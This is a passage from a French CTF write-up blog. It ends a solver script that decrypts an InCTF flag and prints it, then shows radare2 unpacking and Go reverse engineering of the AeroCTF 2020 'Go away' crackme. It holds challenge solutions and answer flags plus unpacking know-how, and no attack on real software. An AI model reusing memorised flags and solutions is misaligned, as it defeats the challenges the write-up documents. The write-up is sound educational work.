class="se"&gt;\xc8\x93\xd1&lt;/span&gt;&lt;span class="s1"&gt;%Me&lt;/span&gt;&lt;span class="se"&gt;\x83\xda\xbe\xe7&lt;/span&gt;&lt;span class="s1"&gt;J&lt;/span&gt;&lt;span class="se"&gt;\x9d\xd9\x9e\x12\xdb&lt;/span&gt;&lt;span class="s1"&gt;[N&lt;/span&gt;&lt;span class="se"&gt;\xbc\x07&lt;/span&gt;&lt;span class="s1"&gt;.fp&lt;/span&gt;&lt;span class="se"&gt;\x8b&lt;/span&gt;&lt;span class="s1"&gt; &lt;/span&gt;&lt;span class="se"&gt;\xc3\xd0\x9c\x01\x88&lt;/span&gt;&lt;span class="s1"&gt;F^&lt;/span&gt;&lt;span class="se"&gt;\xe4&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;theflag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\xbc\xc0\n\xbc&lt;/span&gt;&lt;span class="s1"&gt;^&lt;/span&gt;&lt;span class="se"&gt;\xf9\xb6\xd5\xc5\x08&lt;/span&gt;&lt;span class="s1"&gt;M&lt;/span&gt;&lt;span class="se"&gt;\xb1&lt;/span&gt;&lt;span class="s1"&gt;U&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s1"&gt;4&lt;/span&gt;&lt;span class="se"&gt;\x95\x12\xce&lt;/span&gt;&lt;span class="s1"&gt;g&lt;/span&gt;&lt;span class="se"&gt;\x08\xfb\x8a\xf1\xd2\x1a\xd8&lt;/span&gt;&lt;span class="s1"&gt;+d(&lt;/span&gt;&lt;span class="se"&gt;\xc2&lt;/span&gt;&lt;span class="s1"&gt;9r&lt;/span&gt;&lt;span class="se"&gt;\xb4&lt;/span&gt;&lt;span class="s1"&gt;Bhz8#&lt;/span&gt;&lt;span class="se"&gt;\xcf\x04\x90&lt;/span&gt;&lt;span class="s1"&gt;4&lt;/span&gt;&lt;span class="se"&gt;\x98\xe1\xe8\xb0\x0c&lt;/span&gt;&lt;span class="s1"&gt;i&lt;/span&gt;&lt;span class="se"&gt;\x1d&lt;/span&gt;&lt;span class="s1"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\xb9&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="se"&gt;\x1f\x17&lt;/span&gt;&lt;span class="s1"&gt;*]&lt;/span&gt;&lt;span class="se"&gt;\xe1\xff\\&lt;/span&gt;&lt;span class="s1"&gt;}1&lt;/span&gt;&lt;span class="se"&gt;\xbe\x1a&lt;/span&gt;&lt;span class="s1"&gt;k&lt;/span&gt;&lt;span class="se"&gt;\xd7\x1f\xa2&lt;/span&gt;&lt;span class="s1"&gt;C&lt;/span&gt;&lt;span class="se"&gt;\x18\xab\xcc&lt;/span&gt;&lt;span class="s1"&gt;W&lt;/span&gt;&lt;span class="se"&gt;\xd0\x8d&lt;/span&gt;&lt;span class="s1"&gt;_&lt;/span&gt;&lt;span class="se"&gt;\xcc&lt;/span&gt;&lt;span class="s1"&gt;C,Ci&lt;/span&gt;&lt;span class="se"&gt;\x96\xec\xce&lt;/span&gt;&lt;span class="s1"&gt;x&lt;/span&gt;&lt;span class="se"&gt;\xa9\x06\xdd\x8e\x11\xa1\xfe\xca&lt;/span&gt;&lt;span class="s1"&gt;4&lt;/span&gt;&lt;span class="se"&gt;\x0b\x90\xcb&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;

&lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grouik&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;enc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keytbl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;enc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]]])&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;flag_enc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;theflag&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag_enc&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag_enc&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
  &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keytbl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;tbl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keytbl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tbl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag_enc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
  &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Le flag est donc &lt;code&gt;inctf{fly_m3_70_7h3_m00n_l37_m3_pl4y_4m0n6_7h3_574r5_4nd_l37_m3_533_wh47_5pr1n6_15_l1k3}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That's all folks ! :þ&lt;/p&gt;</content><category term="Reverse-Engineering"/><category term="Write-UP"/><category term="CTF"/></entry><entry><title>Write-UP AeroCTF 2020: Go away</title><link href="/write-up-aeroctf-2020-go-away.html" rel="alternate"/><published>2020-03-01T14:31:00+01:00</published><updated>2020-03-01T14:31:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2020-03-01:/write-up-aeroctf-2020-go-away.html</id><summary type="html">&lt;p&gt;Ce writeup porte sur le challenge le plus difficile que j'ai fait sur le CTF (m'ayant occupé quelques heures pour le casser). A première vue, on a un binaire "obfusqué", qui fait des appels système à mmap et mprotect: on pense tout de suite à un packer, et il va donc falloir l'unpacker.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Ce writeup porte sur le challenge le plus difficile que j'ai fait sur le CTF (m'ayant occupé quelques heures pour le casser). A première vue, on a un binaire "obfusqué", qui fait des appels système à mmap et mprotect: on pense tout de suite à un packer, et il va donc falloir l'unpacker.&lt;/p&gt;


&lt;h2&gt;Unpacking du crackme&lt;/h2&gt;
&lt;p&gt;L'unpacking ne pose pas trop problème sous Linux lorsqu'on a l'habitude des packers de malware sous Windows, grand merci à radare2 et son mode visuel.&lt;/p&gt;
&lt;p&gt;L'entrypoint du crackme ressemble donc à ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;            ;-- entry0:
            ;-- rip:
            0x0046cbe8      50             push rax
            0x0046cbe9      52             push rdx
            0x0046cbea      e8c8020000     call 0x46ceb7
            0x0046cbef      55             push rbp
            0x0046cbf0      53             push rbx
            0x0046cbf1      51             push rcx
            0x0046cbf2      52             push rdx
            0x0046cbf3      4801fe         add rsi, rdi
            0x0046cbf6      56             push rsi
            0x0046cbf7      4889fe         mov rsi, rdi
            0x0046cbfa      4889d7         mov rdi, rdx
            0x0046cbfd      31db           xor ebx, ebx
            0x0046cbff      31c9           xor ecx, ecx
            0x0046cc01      4883cdff       or rbp, 0xffffffffffffffff
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On a un appel à une fonction 0x46ceb7, suivi d'une fonction visiblement de décompression, qui ressemble fortement à aplib ou une de ses variantes. On a donc:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;┌ 6: fcn.0046ceb7 ();
│           0x0046ceb7      5d             pop rbp
└           0x0046ceb8      e840ffffff     call fcn.0046cdfd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;suivi de&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;           ; CALL XREF from fcn.0046ceb7 @ 0x46ceb8
┌ 186: fcn.0046cdfd (int64_t arg_0h);
│           ; var int64_t var_bh @ rbp-0xb
│           ; var int64_t var_10h @ rsp+0x30
│           ; var int64_t var_8h @ rsp+0x38
│           ; arg int64_t arg_0h @ rsp+0x40
│           0x0046cdfd      5f             pop rdi                     ; /proc/self/exe
│           0x0046cdfe      29f6           sub esi, esi
│           0x0046ce00      6a02           push 2                      ; SYS_open
│           0x0046ce02      58             pop rax
│           0x0046ce03      0f05           syscall
│           0x0046ce05      50             push rax
│           0x0046ce06      488db70f0000.  lea rsi, [rdi + 0xf]
│           0x0046ce0d      ad             lodsd eax, dword [rsi]
│           0x0046ce0e      83e0fe         and eax, 0xfffffffe         ; 4294967294
[.. snip ..]
│           0x0046cea0      4190           xchg eax, r8d
│           0x0046cea2      4889f7         mov rdi, rsi
│           0x0046cea5      5e             pop rsi
│           0x0046cea6      ffd5           call rbp
│           0x0046cea8      59             pop rcx
│           0x0046cea9      5e             pop rsi
│           0x0046ceaa      5f             pop rdi
│           0x0046ceab      5d             pop rbp
│           0x0046ceac      6a05           push 5                      ; 5
│           0x0046ceae      5a             pop rdx
│           0x0046ceaf      6a0a           push 0xa                    ; 10
│           0x0046ceb1      58             pop rax
│           0x0046ceb2      0f05           syscall
└           0x0046ceb4      41ffe5         jmp r13
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;En debugguant dans les calls en mode visuel (F7), on voit des calculs d'alignement pour récupérer la taille du binaire à mapper et de la zone "anonymous" à créer. Puis, on a voit deux syscalls à mmap. Le premier sert à faire un mapping "anonymous" qui contiendra le code de décompression/mapping, puis un pour charger le binaire. On a ensuite un "call rbp" (qui appelle la fonction de décompression située en 0x0046cbef, avant de faire un mprotect sur la page allouée et sauter dessus.&lt;/p&gt;
&lt;p&gt;Une fois le saut effectué, on atterrit ici:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;            0x7fb3749e3ed0      e84a000000     call 0x7fb3749e3f1f
            0x7fb3749e3ed5      83f949         cmp ecx, 0x49           ; 73
        ┌─&amp;lt; 0x7fb3749e3ed8      7544           jne 0x7fb3749e3f1e
        │   0x7fb3749e3eda      53             push rbx
        │   0x7fb3749e3edb      57             push rdi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Même principe que tout à l'heure, on rentre dans le call (F7 en mode visuel), et on retombe sur une autre fonction qui effectue d'autres opérations, suivi d'un&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;            0x7fb3749e401e      41ff66f8       jmp qword [r14 - 8]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On peut raisonnablement penser qu'on approche de notre OEP, on positionne donc un breakpoint (F2), et on continue l'exécution (F9), avant de repasser en mode pas à pas.&lt;/p&gt;
&lt;p&gt;On se retrouve ensuite avec&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;            ;-- rip:
            0x0048c48e      0f05           syscall
            0x0048c490      5a             pop rdx
            0x0048c491      c3             ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;et une fois arrivé au ret, on arrive enfin à l'OEP du binaire unpacké ! Il ne nous reste plus qu'à faire un dump du programme, en listant d'abord les sections avec "dm":&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[0x0044fd80]&amp;gt; dm
0x0000000000400000 - 0x000000000048d000 * usr   564K s r-x unk0 unk0 ; map.home_supersnail_Documents_hack_lab_AeroCTF_goaway.r_x
0x000000000048d000 - 0x0000000000525000 - usr   608K s r-- unk1 unk1
0x0000000000525000 - 0x000000000055a000 - usr   212K s rw- unk2 unk2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On peut donc dump le binaire unpacké avec la commande &lt;code&gt;wtf goaway.unpack 0x15a000 @0x400000&lt;/code&gt;, la taille du binaire étant de 0x55a000-0x400000.&lt;/p&gt;
&lt;p&gt;En passant un coup de strings sur le crackme unpacké, on peut voir qu'il a été écrit en... Go, soit le début du cauchemar.&lt;/p&gt;
&lt;h2&gt;Reversing Go for fun and chocapicz&lt;/h2&gt;
&lt;p&gt;Malheureusement pour moi, le crackme était en Go: en effet, un runtime assez conséquent se retrouve embarqué dans les programmes Go, rendant difficile l'identification des fonctions "utiles" pour notre analyse du runtime. Néanmoins, le mécanisme de RTTI de Go nous permet malgré tout de nous en sortir, puisque le nom des fonctions (et visiblement des types de variables/arguments) est malgré tout préservé, ce qui nous facilite grandement la tâche.&lt;/p&gt;
&lt;p&gt;Ma première tentative a été d'utiliser &lt;a href="https://github.com/JacobPimental/r2-gohelper/blob/master/golang_helper.py"&gt;r2-gohelper&lt;/a&gt;, cependant le script ne renommait que quelques fonctions, le rendant complètement inutile. De plus, radare2 reste encore assez trop limité pour l'analyse statique, j'ai donc sorti mon bon vieux IDA Free, pour analyser la fonction "main.main" (une des rares identifiées par r2-gohelper).&lt;/p&gt;
&lt;p&gt;Après une vaine tentative de comprendre tout le code du runtime, je finis par avoir la bonne idée de faire une recherche de strings dans IDA, qui trouve plein de noms de fonctions. N'ayant pas IDAPython (car édition Free, merci Ilfak \o/), je me lance donc dans la résolution manuelle des RTTI pour chaque fonction appelée:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/goaway/1583067885984-rtti.png"&gt;&lt;img src="/media/goaway/1583067885984-rtti.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;J'arrive finalement à obtenir quelque chose ressemblant à ceci après quelques temps à tout renommer:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/goaway/1583067680265-idadmp1.png"&gt;&lt;img src="/media/goaway/1583067680265-idadmp1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Un autre point difficile a été de comprendre la convention d'appel utilisée par Go.
En effet, contrairement au C où un seul paramètre est retourné, Go, peut renvoyer plusieurs valeurs de retour, qui sont recopiées sur la stack frame de la fonction appelante. La pile ressemble donc à quelque chose comme ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;+-------------------+
|   sauvegarde ebp  |
+-------------------+
| adresse de retour |
+-------------------+
|    argument 1     |
|        ...        |
|    argument n     |
|     retour 1      |
|        ...        |
|     retour n      |
+-------------------+
|   vars locales    |
+-------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Vient également le mécanisme de "slice" beaucoup utilisé par Go, qui n'est en réalité qu'une structure qui pourrait être définie comme ceci (en 64 bits):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;slice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocated_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Une fois ceci compris, on peut enfin étudier le fonctionnement du programme dans de bonnes conditions.&lt;/p&gt;
&lt;h2&gt;Algorithme du crackme&lt;/h2&gt;
&lt;p&gt;Le crackme commence par afficher le message de bienvenue, puis lire et stocker l'entrée utilisateur (via bufio.Reader.ReadString). Le crackme supprime ensuite le caractère "\n", avant de créer une HashMap.&lt;/p&gt;
&lt;p&gt;Cette HashMap contient une table de "permutations", qui nous sera utile pour la suite. Puis, le crackme crée un tableau de slices, pointant vers une "chaîne" de 16 octets, qui ressemble curieusement à un hash. Puis après une vérification de la taille du flag (qui doit aussi être de 16 octets), on arrive à une première boucle sur les caractères du flag: pour chaque caractère, on calcule le hash MD5 du caractère.&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/goaway/1583070437067-hashmd5.png"&gt;&lt;img src="/media/goaway/1583070437067-hashmd5.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Puis ensuite on récupère la valeur de permutation correspondant à l'index du caractère de la chaîne, et compare le hash md5 au slice dont l'index est la permutation:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/goaway/1583070570281-cmphash.png"&gt;&lt;img src="/media/goaway/1583070570281-cmphash.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;En pseudocode "pythonisé", on obtiendrait quelque chose comme ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;slice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;le&lt;/span&gt; &lt;span class="n"&gt;tableau&lt;/span&gt; &lt;span class="n"&gt;de&lt;/span&gt; &lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;permutations&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
   &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nb"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;permutations&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
     &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Bad boy&amp;quot;&lt;/span&gt;
     &lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Good boy&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Pour récupérer la clé, en théorie, il nous suffit donc de calculer le md5 chaque caractère de la table ASCII, et comparer son hash avec celui trouvé dans le programme. Mais comme toute solution théorique, ça ne fonctionne pas en pratique pour des raisons obscures...&lt;/p&gt;
&lt;h2&gt;Récupération de la clé et pwn du crackme&lt;/h2&gt;
&lt;p&gt;Ne comprenant pas ce qu'il se passe, j'ai fini par opter pour une solution plus radicale: exécuter l'implémentation de MD5 du binaire directement, en pilotant le debugger de radare2 via r2pipe depuis mon script python. Après quelques essais, je suis donc parvenu à réaliser le petit script suivant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/python&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;r2pipe&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;hashlib&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;binascii&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt;

&lt;span class="n"&gt;flag_md5_offsets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0xb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x06&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 